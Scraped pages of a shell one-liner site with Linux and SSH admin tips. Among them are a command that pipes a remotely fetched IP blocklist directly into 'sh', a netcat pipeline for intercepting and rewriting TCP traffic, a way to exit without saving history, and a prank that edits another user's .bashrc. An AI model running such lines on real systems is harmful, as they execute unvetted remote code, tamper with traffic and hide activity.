command = /sbin/iptables -A INPUT -i eth0 -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 5000,4000,3000
command = /sbin/iptables -D INPUT -i eth0 -s %IP% -p tcp --dport 22 -j ACCEPT
rename 'y/ /_/' *
Functions: rename
replace spaces in filenames with underscores
This command will replace all the spaces in all the filenames of the current directory with underscores. There are other commands that do this here, but this one is the easiest and shortest.
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'|head -n 2
iptables -A INPUT -s 99.245.29.38 -j DROP
iptables -A INPUT -s 97.81.54.226 -j DROP
To have them automatically blocked:
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'|sh
Block known dirty hosts from reaching your machine
Blacklisted is a compiled list of all known dirty hosts (botnets, spammers, bruteforcers, etc.) which is updated on an hourly basis. This command will get the list and create the rules for you, if you want them automatically blocked, append |sh to the end of the command line. It's a more practical solution to block all and allow in specifics however, there are many who don't or can't do this which is where this script will come in handy. For those using ipfw, a quick fix would be {print "add deny ip from "$1" to any}. Posted in the sample output are the top two entries. Be advised the blacklisted file itself filters out RFC1918 addresses (10.x.x.x, 172.16-31.x.x, 192.168.x.x) however, it is advisable you check/parse the list before you implement the rules
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
Functions: cat ssh
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
If you use Mac OS X or some other *nix variant that doesn't come with ssh-copy-id, this one-liner will allow you to add your public key to a remote machine so you can subsequently ssh to that machine without a password.
ccze
A robust, modular log coloriser
CCZE is a robust and modular log coloriser, with plugins for apm, exim, fetchmail, httpd, postfix, procmail, squid, syslog, ulogd, vsftpd, xferlog and more.
Examples:
tail -f /var/log/messages | ccze -A
tail -f /var/log/exim4/mainlog | ccze -A
dpkg -S /usr/bin/ls
user@host:$ dpkg -S /bin/ls
coreutils: /bin/ls
user@host:$ dpkg -S ls | wc -l
12831
(Debian/Ubuntu) Discover what package a file belongs to
'dpkg -S' just matches the string you supply it, so just using 'ls' as an argument matches any file from any package that has 'ls' anywhere in the filename. So usually it's a good idea to use an absolute path. You can see in the second example that 12 thousand files that are known to dpkg match the bare string 'ls'.
lsof -i tcp:80
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
which program is this port belongs to ?
Sometimes you need to use a port that is already opened by some program , and you don't know who to "kill" for it to release - so, now you do !
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
check site ssl certificate dates
remotely connects to an https site, fetches the ssl certificate and displays the valid dates for the cert
ls !(*.gz)
Functions: ls
ls not pattern
Negative shell globs already come with bash. Make sure to turn on extended pattern matching with 'shopt -e extglob'.
sed -i 8d ~/.ssh/known_hosts
Remove a line in a text file. Useful to fix "ssh host key change" warnings
google docs edit --title "To-Do List" --editor vim
Google just released a new commend line tool offering all sorts of new services from the commend line. One of them is uploading a youtube video but there are plenty more google services to interact with.
Download it here: http://code.google.com/p/googlecl/
Manual: http://code.google.com/p/googlecl/wiki/Manual
This specific command courtesy of lifehacker:http://lifehacker.com/5568817/
Though all can be found in manual page above.
Edit a google doc with vim
Google just released a new commend line tool offering all sorts of new services from the commend line. One of them is uploading a youtube video but there are plenty more google services to interact with.
Manual: http://code.google.com/p/googlecl/wiki/Manual
This specific command courtesy of lifehacker:http://lifehacker.com/5568817/
Though all can be found in manual page linked above.
ls -d */
List only the directories
-d: list directory entries instead of contents, and do not dereference symbolic links
find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
./src/main.c: printf("Search phrase");
./include/example.h: #define MY_PHASE search phrase
Functions: find grep
Search recursively to find a word or phrase in certain file types, such as C code
I have a bash alias for this command line and find it useful for searching C code for error messages.
The -H tells grep to print the filename. you can omit the -i to match the case exactly or keep the -i for case-insensitive matching.
This find command find all .c and .h files
kill -9 $$
Functions: kill
exit without saving history
this exits bash without saving the history. unlike explicitly disabling the history in some way, this works anywhere, and it works if you decide *after* issuing the command you don't want logged, that you don't want it logged
... $$ ( or ${$} ) is the pid of the current bash instance
this also works perfectly in shells that don't have $$ if you do something like
kill -9 `readlink /proc/self`
leave +15
$ leave +15
Alarm set for Thu Mar 12 23:21. (pid 27264)
Remind yourself to leave in 15 minutes
If you spend most of your time in front of the terminal, leave is a useful reminder. Leave can have absolute form: leave 1555 reminds you to leave at 3:55PM
date --set="$(ssh user@server date)"
Password:
Tue Aug 30 16:00:02 EDT 2011
Synchronize date and time with a server over ssh
Shorter, easier to remember version of cmd#7636
NTP is better, but there are situations where it can't be used. In those cases, you can do this to sync the local time to a server.
|:
# with >/dev/null:
$ time dd if=/dev/zero bs=1K count=100000 >/dev/null
100000+0 records in
100000+0 records out
102400000 bytes (102 MB) copied, 0.0355178 s, 2.9 GB/s
real 0m0.037s
user 0m0.011s
sys 0m0.025s
# with |:
$ time dd if=/dev/zero bs=1K count=100000 |:
real 0m0.002s
user 0m0.000s
sys 0m0.002s
Fast, built-in pipe-based data sink
This is shorter and actually much faster than >/dev/null (see sample output for timings)
Plus, it looks like a disappointed face emoticon.
mkdir /home/foo/doc/bar && cd $_
Functions: cd mkdir
mkdir & cd into it as single command
The biggest advantage of this over the functions is that it is portable.
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
Functions: diff sleep
Eavesdrop on your system
This command takes a snapshot of the open files for a PID 1234 then waits 10 seconds and takes another snapshot of the same PID, it then displays the difference between each snapshot to give you an insight into what the application is doing.
‹ First < 4 5 6 7 8 > Last ›
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
Functions: cut egrep
Gets a random Futurama quote from /.
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
"gs" -q -dQUIET -dPARANOIDSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=0 "-sDEVICE=pnmraw" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r300x300" "-sOutputFile=/tmp/magick-XXz6cMMo" "-f/tmp/magick-XX9DNL7g" "-f/tmp/magick-XXPGU3s9"
Functions: file sed
Convert PDF to JPG
(relies on 'imagemagick')
This command will convert all .pdf files in a directory into a 800px (wide or height, whichever is smaller) image (with the aspect ratio kept) .jpg.
If the file is named 'example1.pdf' it will be named 'example1.jpg' when it is complete.
This is a VERY worthwhile command! People pay hundreds of dollars for this in the Windows world.
My .jpg files average between 150kB to 300kB, but your's may differ.
cp file.txt{,.bak}
Create a quick back-up copy of a file
Uses shell expansion to create a back-up called file.txt.bak
ssh root@remote.host "rpm -qa" | xargs yum -y install
Functions: ssh xargs
awk '{$1=$3=""}1' file
Exclude multiple columns using AWK
Print all columns except the 1st and 3rd.
echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')
tee can split a pipe in two
tee_can_split_a_pipe_in_two
owt ni epip a tilps nac eet
Functions: echo tee tr
Use tee to process a pipe with two or more processes
Tee can be used to split a pipe into multiple streams for one or more process to work it. You can add more " >()" for even more fun.
tar --exclude-vcs -cf src.tar src/
Functions: tar
Exclude .svn, .git and other VCS junk for a pristine tarball
~$ tar --version
tar (GNU tar) 1.20
free && sync && echo 3 > /proc/sys/vm/drop_caches && free
Functions: echo free sync
Release memory used by the Linux kernel on caches
The Linux kernel uses unused memory in caches. When you execute "free" you never get the "real" available memory.
grep --color=always | less -R
Functions: grep less
Colorized grep in less
Get your colorized grep output in less(1). This involves two things: forcing grep to output colors even though it's not going to a terminal and telling less to handle those properly.
killall -STOP -m firefox
Functions: killall
Manually Pause/Unpause Firefox Process with POSIX-Signals
Continue with:
killall -CONT -m firefox
Suspends all Firefox Threads. Results in Zero CPU load.
Useful when having 100+ Tabs open and you temporarily need the power elsewhere.
Be careful - might produce RACE CONDITIONS or LOCKUPS in other processes or FF itself.
matching is case sensitive.
export HISTTIMEFORMAT="%F %T "
3619 2009-05-12 13:24:09 ls
3619 2009-05-12 13:26:32 pwd
3619 2009-05-12 13:28:48 cat README
Functions: export
Add timestamp to history
History usually only gives the command number and the command. This will add a timestamp to the history file.
Note: this will only put the correct timestamp on commands used after the export is done. You may want to put this in your .bashrc
timeout 5s COMMAND
Start COMMAND, and kill it if still running after 5 seconds
grep ^Dirty /proc/meminfo
Functions: grep
Find out how much data is waiting to be written to disk
Ever ask yourself "How much data would be lost if I pressed the reset button?"
Scary, isn't it?
[enter]~?
Supported escape sequences:
~. - terminate connection (and any multiplexed sessions)
~B - send a BREAK to the remote system
~C - open a command line
~R - Request rekey (SSH protocol 2 only)
~^Z - suspend ssh
~# - list forwarded connections
~& - background ssh (when waiting for connections to terminate)
~? - this message
~~ - send the escape character by typing it twice
(Note that escapes are only recognized immediately after newline.)
Control ssh connection
SSH can be controlled trough an ~ escape sequence. Example, to terminate the current ssh connection, type a newline, then the ~ character, and last a . character.
This is useful eg when an ssh connection hangs after you reboot a machine and the connection hangs.
echo ${SSH_CLIENT%% *}
Get the IP of the host your coming from when logged in remotely
Even faster without the need for cut... :)
Take screenshot through SSH
Of course it requires import command, from imagemagick tools, but it's simpler to type, and imagemagick is usefull anyway.
ssh host -l user $( >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
Pipe stdout and stderr, etc., to separate commands
You can use [n]> combined with >(cmd) to attach the various output file descriptors to be the input of different commands.
read -sn 1 -p "Press any key to continue..."
Functions: read
Press Any Key to Continue
Halt script progress until a key has been pressed.
Source: http://bash-hackers.org/wiki/doku.php/mirroring/bashfaq/065
lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
kopete
ktorrent
firefox-b
Functions: cut tail uniq
Show apps that use internet connection at the moment.
show only the name of the apps that are using internet
lshw -html > hardware.html
Create a nifty overview of the hardware in your computer
After the command is done, open the html file in a browser
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
Functions: grep sed
recursive search and replace old with new string, inside files
recursively traverse the directory structure from . down, look for string "oldstring" in all files, and replace it with "newstring", wherever found
also:
grep -rl oldstring . |xargs perl -pi~ -e 's/oldstring/newstring'
:mksession!
Save your sessions in vim to resume later
Creates a full snapshot of your current vim session, including tabs, open buffers, cursor positions, everything. Can be resumed with vim -S . Useful for those times when you HAVE to close vim, but you don't want to lose all your hard-opened buffers and windows. The ! will cause vim to overwrite the file if it already exists. It is not necessary, but useful if you frequently save to the same file (like session.vim or something).
‹ First < 5 6 7 8 9 > Last ›
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
find geographical location of an ip address
I save this to bin/iptrace and run "iptrace ipaddress" to get the Country, City and State of an ip address using the http://ipadress.com service.
I add the following to my script to get a tinyurl of the map as well:
URL=`lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep details|awk '{print $2}'`
lynx -dump http://tinyurl.com/create.php?url=$URL|grep tinyurl|grep "19. http"|awk '{print $2}'
man -t UNIX_COMMAND | open -f -a preview
read manpage of a unix command as pdf in preview (Os X)
ssh -t user@some.domain.com /usr/bin/screen -xRR
How to establish a remote Gnu screen session that you can re-connect to
Long before tabbed terminals existed, people have been using Gnu screen to open many shells in a single text terminal. Combined with ssh, it gives you the ability to have many open shells with a single remote connection using the above options. If you detach with "Ctrl-a d" or if the ssh session is accidentally terminated, all processes running in your remote shells remain undisturbed, ready for you to reconnect. Other useful screen commands are "Ctrl-a c" (open new shell) and "Ctrl-a a" (alternate between shells). Read this quick reference for more screen commands: http://aperiodic.net/screen/quick_reference
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
Copy a MySQL Database to a new Server via SSH with one command
mkdir -p work/{d1,d2}/{src,bin,bak}
make directory tree
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
List the number and type of active network connections
file -s /dev/sd*
/dev/sda: x86 boot sector; GRand Unified Bootloader, stage1 version 0x3, stage2 address 0x2000, stage2 segment 0x200; partition 1: ID=0x83, active, starthead 1, startsector 63, 497952 sectors; partition 2: ID=0x5, starthead 0, startsector 498015, 141741495 sectors, code offset 0x63
/dev/sda1: Linux rev 1.0 ext3 filesystem data, UUID=e56c6019-7b10-44c9-8692-6137b93648dd (needs journal recovery)
/dev/sda2: x86 boot sector; partition 1: ID=0x8e, starthead 1, startsector 63, 141741432 sectors, extended partition table (last)\011, code offset 0x0
/dev/sda5: LVM2 (Linux Logical Volume Manager) , UUID: WETkEg8anaR7V9Kkc39GKs410FKlw5K
/dev/sdb: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 426759839 sectors, extended partition table (last)\011, code offset 0x0
/dev/sdb1: LVM2 (Linux Logical Volume Manager) , UUID: Y6gkfwuq7FZeqoE35bIboE4HkdlOcme
Functions: file
Use file(1) to view device information
file(1) can print details about certain devices in the /dev/ directory (block devices in this example). This helped me to know at a glance the location and revision of my bootloader, UUIDs, filesystem status, which partitions were primaries / logicals, etc.. without running several commands.
See also:
file -s /dev/dm-* file -s /dev/cciss/*
etc..
bind -x '"\C-l":ls -l'
Bind a key with a command
the -x option is for binding to a shell command
vi +/pattern [file]
Functions: vi
Opens vi/vim at pattern in file
Open up vi or vim at the first instance of a pattern in [file]. Useful if you know where you want to be, like "PermitRootLogin" in sshd_config. Also, vi +10 [file] will open up a file at line 10. VERY useful when you get "error at line 10" type of output.
find . -type d -empty -delete
Functions: find
Recursively remove all empty directories
yes | pv | ssh $host "cat > /dev/null"
88.2MB 0:00:15 [6.83MB/s] [ <=> ]
Functions: ssh yes
live ssh network throughput test
connects to host via ssh and displays the live transfer speed, directing all transferred data to /dev/null
needs pv installed
Fedora: 'yum install pv' (may need the 'extras' repository enabled)
grep . filename > newfilename
Remove blank lines from a file using grep and save output to new file
cd !$:h
user@host:/home$ vim /path/to/file.txt
user@host:/home$ cd !$:h
user@host:/path/to$
Go to parent directory of filename edited in last command
Uses the last argument of the last executed command, and gets the directory name from it.
Use $!:t for the filename alone, without the dirname.
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
OK, not the most useful but a good way to impress friends. Requires the "display" command from ImageMagick.
find ./ -type f -exec chmod 644 {} \;
Functions: chmod find
Recursively change permissions on files, leave directories alone.
xset dpms force standby
shut of the screen.
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
Functions: cat mkfifo tee
Intercept, monitor and manipulate a TCP connection.
Forwards localhost:1234 to machine:port, running all data through your chain of piped commands. The above command logs inbound and outbound traffic to two files.
Tip: replace tee with sed to manipulate the data in real time (use "sed -e 's/400 Bad Request/200 OK/'" to tweak a web server's responses ;-) Limitless possibilities.
svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
5 john
5 sal
3 kate
2 joe
1 fred
1 mark
Use this command to find out a list of committers sorted by the frequency of commits.
tidy -xml -i -m [file]
Prettify an XML file
Generated XML files often are poorly formatted. Use this command to properly indent and normalize the file in-place.
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world
Google text-to-speech in mp3 format
EDIT: command updated to support accented characters!
Works in any of 58 google supported languages (some sound like crap, english is the best IMO).
You get a mp3 file containing your query in spoken language. There is a limit of 100 characters for the "q" parameter, so be careful. The "tl" parameter contains target language.
bind '"\C-l":"ls -l\n"'
Now type Ctrl-l and it will list all files
cat /dev/urandom | hexdump -C | grep "ca fe"
Functions: cat grep hexdump
pretend to be busy in office to enjoy a cup of coffee
just make some data scrolling off the terminal. wow.
grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt
Recover a deleted file
grep searches through a file and prints out all the lines that match some pattern. Here, the pattern is some string that is known to be in the deleted file. The more specific this string can be, the better. The file being searched by grep (/dev/sda1) is the partition of the hard drive the deleted file used to reside in. The ?-a? flag tells grep to treat the hard drive partition, which is actually a binary file, as text. Since recovering the entire file would be nice instead of just the lines that are already known, context control is used. The flags ?-B 25 -A 100? tell grep to print out 25 lines before a match and 100 lines after a match. Be conservative with estimates on these numbers to ensure the entire file is included (when in doubt, guess bigger numbers). Excess data is easy to trim out of results, but if you find yourself with a truncated or incomplete file, you need to do this all over again. Finally, the ?> results.txt? instructs the computer to store the output of
grep in a file called results.txt.
Source: http://spin.atomicobject.com/2010/08/18/undelete?utm_source=y-combinator&utm_medium=social-media&utm_campaign=technical
alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
[7995:7993 - 0:2497] [askapache@n1-backbone5:pts/0 +1] ~ $ lsof -a -d 1 -d 0-4 -w|head
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
[7995:7993 - 0:2497] [askapache@n1-backbone5:pts/0 +1] ~ $
Functions: alias echo
Alias HEAD for automatic smart output
Run the alias command, then issue
ps aux | head
and resize your terminal window (putty/console/hyperterm/xterm/etc) then issue the same command and you'll understand.
${LINES:-`tput lines 2>/dev/null||echo -n 12`}
Insructs the shell that if LINES is not set or null to use the output from `tput lines` ( ncurses based terminal access ) to get the number of lines in your terminal. But furthermore, in case that doesn't work either, it will default to using the deafault of 12 (-2 = 10).
The default for HEAD is to output the first 10 lines, this alias changes the default to output the first x lines instead, where x is the number of lines currently displayed on your terminal - 2. The -2 is there so that the top line displayed is the command you ran that used HEAD, ie the prompt.
[7995:7993 - 0:186] 06:26:49 Thu Apr 08 [askapache@n1-backbone5:/dev/pts/0 +1] ~
In most shells the LINES variable is created automatically at login and updated when the terminal is resized (28 linux, 23/20 others for SIGWINCH) to contain the number of vertical lines that can fit in your terminal window. Because the alias doesn't hard-code the current LINES but relys on the $LINES variable, this is a dynamic alias that will always work on a tty device.
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
Functions: printf
April Fools' Day Prank
Add this to a fiend's .bashrc.
PROMPT_COMMAND will run just before a prompt is drawn.
RANDOM will be between 0 and 32768; in this case, it'll run about 1/10th of the time.
\033 is the escape character. I'll call it \e for short.
\e7 -- save cursor position.
\e[%d;%dH -- move cursor to absolute position
\e[4%dm \e[m -- draw a random color at that point
\e8 -- restore position.
‹ First < 6 7 8 9 10 > Last ›
:TOhtml
Create colorized html file from Vim or Vimdiff
While editing a source file in vim, or using vimdiff to compare two or more files, the ':TOhtml' command can be used to export each buffer as an html file, including syntax highlighting and vimdiff colorization. If you are in insert mode in vim, you will have to type
This will open a new buffer filled with html, which you can then save.
bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
Listen to BBC Radio from the command line.
This command lets you select from 10 different BBC stations. When one is chosen, it streams it with mplayer.
Requires: mplayer with wma support.
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
Functions: c++ wget
backup all your commandlinefu.com favourites to a plaintext file
Usage: clfavs username password num_favourite_commands file_in_which_to_backup
grep -RnisI *
Search for a string inside all files in the current directory
This is how I typically grep. -R recurse into subdirectories, -n show line numbers of matches, -i ignore case, -s suppress "doesn't exist" and "can't read" messages, -I ignore binary files (technically, process them as having no matches, important for showing inverted results with -v)
I have grep aliased to "grep --color=auto" as well, but that's a matter of formatting not function.
echo "foo" > /dev/tcp/192.168.1.2/25
send echo to socket network
this command will send a message to the socket 25 on host 192.168.1.2 in tcp.
works on udp and icmp
understand only IP address, not hostname.
on the other side (192.168.1.2), you can listen to this socket and test if you receive the message.
easy to diagnose a firewall problem or not.
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
Functions: cd diff find
Compare two directory trees.
This uses Bash's "process substitution" feature to compare (using diff) the output of two different process pipelines.
lynx -accept_all_cookies -cmd_script=/your/keystroke-file
Use lynx to run repeating website actions
This command will tell lynx to read keystrokes from the specified file - which can be used in a cronjob to auto-login on websites that give you points for logging in once a day *cough cough* (which is why I used -accept_all_cookies).
For creating your keystroke file, use:
lynx -cmd_log yourfile
nc -l -p 2000 -c "nc example.org 3000"
Create a single-use TCP (or UDP) proxy
Redirect the local port 2000 to the remote port 3000. The same but UDP:
nc -u -l -p 2000 -c "nc -u example.org 3000"
It may be used to "convert" TCP client to UDP server (or viceversa):
nc -l -p 2000 -c "nc -u example.org 3000"
bash -x ./post_to_commandlinefu.sh
bash -x ./post_to_commandlinefu.sh bash -x ./post_to_commandlinefu.sh
+ COMMAND='bash -x ./post_to_commandlinefu.sh'
+ echo 'command is bash -x ./post_to_commandlinefu.sh'
command is bash -x ./post_to_commandlinefu.sh
+ '[' 'bash -x ./post_to_commandlinefu.sh' = '' ']'
+ SESSIONFILE=./.c
+ LOGINURL=http://www.commandlinefu.com/users/signin
+ EDITURL=http://www.commandlinefu.com/commands/edit
++ dirname ./.c
++ basename ./.c
+ find . -name .c -mtime +1 -exec rm '{}' ';'
+ '[' '!' -f ./.c ']'
+ echo -n 'Enter commandlinefu username: '
Enter commandlinefu username: + read USERNAME
+ echo -n 'Enter commandlinefu password: '
Enter commandlinefu password: + read -s PASSWORD
+ echo
+ wget -O - --save-cookies ./.c --keep-session-cookies --post-data 'username=&password=&remember=on&submit=Let me in!' http://www.commandlinefu.com/users/signin
+ echo -n 'Enter summary (required): '
Enter summary (required): + read SUMMARY
runs a bash script in debugging mode
++ echo runs a bash script in debugging mode
++ cut -c1-154
+ SUMMARY='runs a bash script in debugging mode'
++ echo bash -x ./post_to_commandlinefu.sh
++ cut -c1-254
+ echo 'post-data is command=bash -x ./post_to_commandlinefu.sh&summary=runs a bash script in debugging mode&submit=Save'
post-data is command=bash -x ./post_to_commandlinefu.sh&summary=runs a bash script in debugging mode&submit=Save
+ wget -O - --load-cookies ./.c --post-data 'command=bash -x ./post_to_commandlinefu.sh&summary=runs a bash script in debugging mode&submit=Save&' http://www.commandlinefu.com/commands/edit
+ rm -f browse edit
+ rm -f '*17274*'
Functions: bash
runs a bash script in debugging mode
find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"
find files in a date range
Find files in a specific date range - in this case, the first half of last year.
-newermt = modification time of the file is more recent than this date
GNU find allows any date specfication that GNU date would accept, e.g.
find . -type f -newermt "3 years ago" ! -newermt "2 years ago"
find . -type f -newermt "last monday"
echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
Functions: echo sudo tee
GRUB2: set Super Mario as startup tune
( command & )
Functions: command
A child process which survives the parent's death (for sure)
Test scenario:
* Open xterm (or konsole, ...)
* Start xeyes with: ( xeyes & )
* Close the xterminal
The xeyes process should be still running.
wall <<< "Broadcast This"
Functions: wall
send a circular
don't need echo :P
cut -f5 --complement
Functions: cut
exclude a column with cut
Show all columns except 5th. This might help you save some typing if you are trying to exclude some columns from the output.
telnet towel.blinkenlights.nl 666
The BOFH Excuse Server
echo $[RANDOM%X+1]
Random Number Between 1 And X
If X is 5, it will about a number between 1 and 5 inclusive.
This works in bash and zsh.
If you want between 0 and 4, remove the +1.
fg; notify_me
notify yourself when a long-running command which has ALREADY STARTED is finished
If you want to be notified when a long-running command is finished, but you have already started it:
CTRL+Z
fg; echo "finished" | sendmail me@example.com
I use a script to post a tweet, which sends me a txt:
fg; echo "finished" | tweet
alias dush="du -sm *|sort -n|tail"
2 tools
4 kernel
6 firmware
14 Documentation
15 include
17 net
17 sound
28 fs
94 arch
189 drivers
Functions: alias
easily find megabyte eating files or directories
sorts the files by integer megabytes, which should be enough to (interactively) find the space wasters. Now you can
dush
for the above output,
dush -n 3
for only the 3 biggest files and so on. It's always a good idea to have this line in your .profile or .bashrc
pdftotext [file] - | grep 'YourPattern'
GREP a PDF file.
PDF files are simultaneously wonderful and heinous. They are wonderful in being ubiquitous and mostly being cross platform. They are heinous in being very difficult to work with from the command line, search, grep, use only the text inside the PDF, or use outside of proprietary products.
xpdf is a wonderful set of PDF tools. It is on many linux distros and can be installed on OS X. While primarily an open PDF viewer for X, xpdf has the tool "pdftotext" that can extract formated or unformatted text from inside a PDF that has text. This text stream can then be further processed by grep or other tool. The '-' after the file name directs output to stdout rather than to a text file the same name as the PDF.
Make sure you use version 3.02 of pdftotext or later; earlier versions clipped lines.
The lines extracted from a PDF without the "-layout" option are very long. More paragraphs. Use just to test that a pattern exists in the file. With "-layout" the output resembles the lines, but it is not perfect.
xpdf is available open source at http://www.foolabs.com/xpdf/
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
253MB 0:00:05 [46.7MB/s] [> ] 1% ETA 0:04:49
Functions: awk du gzip tar
copy working directory and compress it on-the-fly while showing progress
What happens here is we tell tar to create "-c" an archive of all files in current dir "." (recursively) and output the data to stdout "-f -". Next we specify the size "-s" to pv of all files in current dir. The "du -sb . | awk ?{print $1}?" returns number of bytes in current dir, and it gets fed as "-s" parameter to pv. Next we gzip the whole content and output the result to out.tgz file. This way "pv" knows how much data is still left to be processed and shows us that it will take yet another 4 mins 49 secs to finish.
Credit: Peteris Krumins http://www.catonmat.net/blog/unix-utilities-pipe-viewer/
xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
Functions: grep tee wget
View the newest xkcd comic.
This function displays the latest comic from xkcd.com. One of the best things about xkcd is the title text when you hover over the comic, so this function also displays that after you close the comic.
To get a random xkcd comic, I also use the following:
xkcdrandom(){ wget -qO- dynamic.xkcd.com/comic/random|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
01 Hz
02 Hz
03 Hz
...
Cdrdao version 1.2.2 - (C) Andreas Mueller
Starting write at speed 48...
Pausing 10 seconds - hit CTRL-C to abort.
Executing power calibration...
Writing lead-in and gap...
Writing track 01 (mode AUDIO/AUDIO )...
Writing track 02 (mode AUDIO/AUDIO )...
Writing track 03 (mode AUDIO/AUDIO )...
Functions: cdrdao echo rm write
Create an audio test CD of sine waves from 1 to 99 Hz
This command creates and burns a gapless audio CD with 99 tracks. Each track is a 30 second sine wave, the first is 1 Hz, the second 2 Hz, and so on, up to 99 Hz. This is useful for testing audio systems (how low can your bass go?) and for creating the constant vibrations needed to make non-Newtonian fluids (like cornstarch and water) crawl around.
Note, this temporarily creates 500MB of .cdda files in the current directory. If you don't use the "rm" at the end of the command, you can burn more disks using
cdrdao write cdrdao.toc
Prerequisites: a blank CD-R in /dev/cdrw, sox (http://sox.sourceforge.net/), and cdrdao (http://cdrdao.sourceforge.net/). I'm also assuming a recent version of bash for the brace expansion (which just looks nicer than using seq(1), but isn't necessary).
date -d @1234567890
convert unixtime to human-readable
( ( sleep 2h; your-command your-args ) & )
Functions: sleep
Schedule a script or command in x num hours, silently run in the background even if logged out
doesn't require "at", change the "2h" to whatever you want... (deafult unit for sleep is seconds)
pwdx pid
Show current working directory of a process
‹ First < 7 8 9 10 11 > Last ›
diff <(echo "$a") <(echo "$b")
Functions: diff echo
You got some results in two variables within your shell script and would like to find the differences? Changes in process lists, reworked file contents, ... . No need to write to temporary files. You can use all the diff parameters you'll need. Maybe anything like $ grep "^>"
is helpful afterwards.
history -d
ssh host
mypass
-bash: mypass: command not found
history
1 mypass
history -d 1
1 history
delete a line from your shell history
If you're a moron like me, sometimes your fingers get away from you and you, for example, enter your password when you're already authenticated to ssh-agent, sudo, etc., and your password ends up in shell history. Here's how to get it out.
true && { echo success;} || { echo failed; }
success
Functions: echo true
Perform a branching conditional
This will perform one of two blocks of code, depending on the condition of the first. Essentially is a bash terniary operator.
To tell if a machine is up:
ping -c1 machine { echo succes;} || { echo failed; }
Because of the bash { } block operators, you can have multiple commands
ping -c1 machine && { echo success;log-timestamp.sh }|| { echo failed; email-admin.sh; }
Tips:
Remember, the { } operators are treated by bash as a reserved word: as such, they need a space on either side.
If you have a command that can fail at the end of the true block, consider ending said block with 'false' to prevent accidental execution
sudo find / -mmin 60 -type f
Functions: find sudo
Find files that have been modified on your system in the past 60 minutes
Useful mainly for debugging or troubleshooting an application or system, such as X11, Apache, Bind, DHCP and others. Another useful switch that can be combined with -mmin, -mtime and so forth is -daystart. For example, to find files that were modified in the /etc directory only yesterday:
sudo find /etc -daystart -mtime 1 -type f
some_command | tee >(command1) >(command2) >(command3) ... | command4
